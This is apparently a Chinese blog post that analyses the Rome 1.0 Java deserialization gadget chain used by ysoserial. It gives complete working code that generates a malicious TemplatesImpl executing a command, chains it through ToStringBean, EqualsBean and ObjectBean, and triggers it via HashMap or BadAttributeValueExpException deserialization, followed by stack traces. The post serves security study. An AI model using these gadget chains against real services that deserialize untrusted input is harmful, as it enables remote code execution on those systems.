『Java安全』反序列化-Rome 1.0反序列化POP链分析_ysoserial Rome payload分析

前言

版本

本笔记实验采用Rome1.0 + jdk8u261

        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>

代码审计 | 原理分析

1. ToStringBean.toString()触发TemplatesImpl.getOutputProperties()

ToStringBean类构造器传入一个类和对象
在这里插入图片描述
调用toString方法会获取指定类的getter方法,然后在下面invoke
在这里插入图片描述

在这里插入图片描述
因此只要构造器传入Templates类和恶意TemplatesImpl即可完成触发getOutputProperties()

手动调用ToStringBean.toString()示例代码

首先生成恶意AbstractTranslet类,复用之前复现7u21的代码

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

public class GenerateEvilByJavaassist {
    public static byte[] generate() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("E");
        CtClass zuper = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(zuper);

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
        clazz.addConstructor(constructor);

        return clazz.toBytecode();
    }


}

接着生成恶意TemplatesImpl

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;

public class GetTemplatesImpl {
    public static TemplatesImpl getTemplatesImpl() throws Exception{
        byte[][] bytes = new byte[][]{GenerateEvilByJavaassist.generate()};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "a");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        return  templates;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

new ToStringBean对象,传入Templates类和恶意TemplatesImpl,然后调用toString方法

package ROME;

import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;

import javax.xml.transform.Templates;

public class ManualToStringBeanToString {
    public static void main(String[] args) throws Exception {
        ToStringBean toStringBean = new ToStringBean(Templates.class, GetTemplatesImpl.getTemplatesImpl());
        toStringBean.toString();
    }
}

在这里插入图片描述

2. EqualsBean.hashCode()触发toString()

EqualsBean的构造器也是传入一个类和一个该类实例
在这里插入图片描述
然后调用它的hashCode方法就会先触发obj实例的toString
在这里插入图片描述
因此传入ToStringBean类和恶意ToStringBean实例即可完成触发toString

手动调用EqualsBean.hashCode()示例代码

new EqualsBean对象,传入ToStringBean类和恶意ToStringBean实例,调用hashCode

package ROME;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;

import javax.xml.transform.Templates;

public class ManualEqualsBeanHashCode {
    public static void main(String[] args) throws Exception {
        ToStringBean toStringBean = new ToStringBean(Templates.class, GetTemplatesImpl.getTemplatesImpl());
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        equalsBean.hashCode();
    }
}

在这里插入图片描述

3. ObjectBean触发toString()或hashCode()

ObjectBean包含了EqualsBean和ToStringBean
在这里插入图片描述
它同时拥有hashCode和toString方法,都是调包含的EqualsBean和ToStringBean
在这里插入图片描述
因此这里就有五种调用链:

  • 调用ObjectBean构造器、随便传值,使用反射赋值EqualsBean,调用hashCode
  • 调用ObjectBean构造器、随便传值,使用反射赋值ToStringBean,调用toString
  • 调用ObjectBean构造器、传入EqualsBean,调用两个方法均可
  • 调用ObjectBean构造器、传入ToStringBean,调用两个方法均可
  • 调用ObjectBean构造器、传入Templates,调用toString

ysoserial采用的是第一条链子

手动调用ObjectBean.toString()和hashCode()示例代码

首先写一个封装反射传值的函数

package ReflectPacked;

import java.lang.reflect.Field;

public class SetValue {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

new ObjectBean对象,一共有五种方法,然后手动调用toString和hashCode

package ROME;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;

import javax.xml.transform.Templates;

public class ManualObjectBean {
    public static void main(String[] args) throws Exception {
        Templates templates = GetTemplatesImpl.getTemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        {
            ObjectBean objectBean = new ObjectBean(String.class, "a");
            // 复用之前封装好了的反射赋值方法
            ReflectPacked.SetValue.setValue(objectBean, "_equalsBean", equalsBean);
            objectBean.hashCode();
        }

        {
            ObjectBean objectBean = new ObjectBean(String.class, "a");
            ReflectPacked.SetValue.setValue(objectBean, "_toStringBean", toStringBean);
            objectBean.toString();
        }

        {
            ObjectBean objectBean = new ObjectBean(EqualsBean.class, equalsBean);
            objectBean.hashCode();
            objectBean.toString();
        }

        {
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
            objectBean.hashCode();
            objectBean.toString();
        }

        {
            ObjectBean objectBean = new ObjectBean(Templates.class, templates);
            objectBean.toString();
        }

    }
}

4.1. HashMap反序列化触发hashCode

HashMap重写readObject调用了hash
在这里插入图片描述
然后调用hashCode
在这里插入图片描述
因此只要把EqualsBean或ObjectBean put进去反序列化就会触发hashCode

同样的:HashMap的子类:LinkedHashSet、HashTable也会触发

HashMap反序列化示例代码

先封装一个反序列化的方法:

package UnserializePacked;

import java.io.*;

public class Unserialize {
    public static void unserialize(Object obj) throws Exception{
        File f = File.createTempFile("temp", "out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
        oos.writeObject(obj);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();
        System.out.println(o);
        ois.close();

        f.deleteOnExit();
    }
}

生成HashMap的方法,put ObjectBean或EqualsBean,然后反序列化

package ROME;

import UnserializePacked.Unserialize;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;
import javax.xml.transform.Templates;
import java.util.HashMap;

public class Manual {
    public static void main(String[] args) throws Exception {
        Templates templates = GetTemplatesImpl.getTemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean objectBean = new ObjectBean(String.class, "a");

        ReflectPacked.SetValue.setValue(objectBean, "_equalsBean", equalsBean);

        HashMap hashMap = new HashMap();
        hashMap.put(objectBean ,1);
        Unserialize.unserialize(hashMap);
    }
}

在这里插入图片描述

4.2. BadAttributeValueExpException反序列化触发toString

既然要触发ToString的toString方法,还想到了CC5也是BadAttributeValueExpException触发toString的。

readObject会调用toString
在这里插入图片描述
因此只要利用反射给val参数赋值即可触发

BadAttributeValueExpException反序列化示例代码

package ROME;

import UnserializePacked.Unserialize;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import jdk7u21.GetTemplatesImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

public class Manual2 {
    public static void main(String[] args) throws Exception {
        Templates templates = GetTemplatesImpl.getTemplatesImpl();
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        ReflectPacked.SetValue.setValue(badAttributeValueExpException, "val", toStringBean);

        Unserialize.unserialize(badAttributeValueExpException);
    }
}

在这里插入图片描述

POP链

HashMap

ysoserial采用的是这条链子

getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
main:21, Manual (ROME)

BadAttributeValueExpException

getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2256, ObjectInputStream (java.io)
readOrdinaryObject:2147, ObjectInputStream (java.io)
readObject0:1646, ObjectInputStream (java.io)
readObject:482, ObjectInputStream (java.io)
readObject:440, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:20, Manual2 (ROME)

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123330443
版权声明:本文为原创,转载时须注明出处及本声明

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值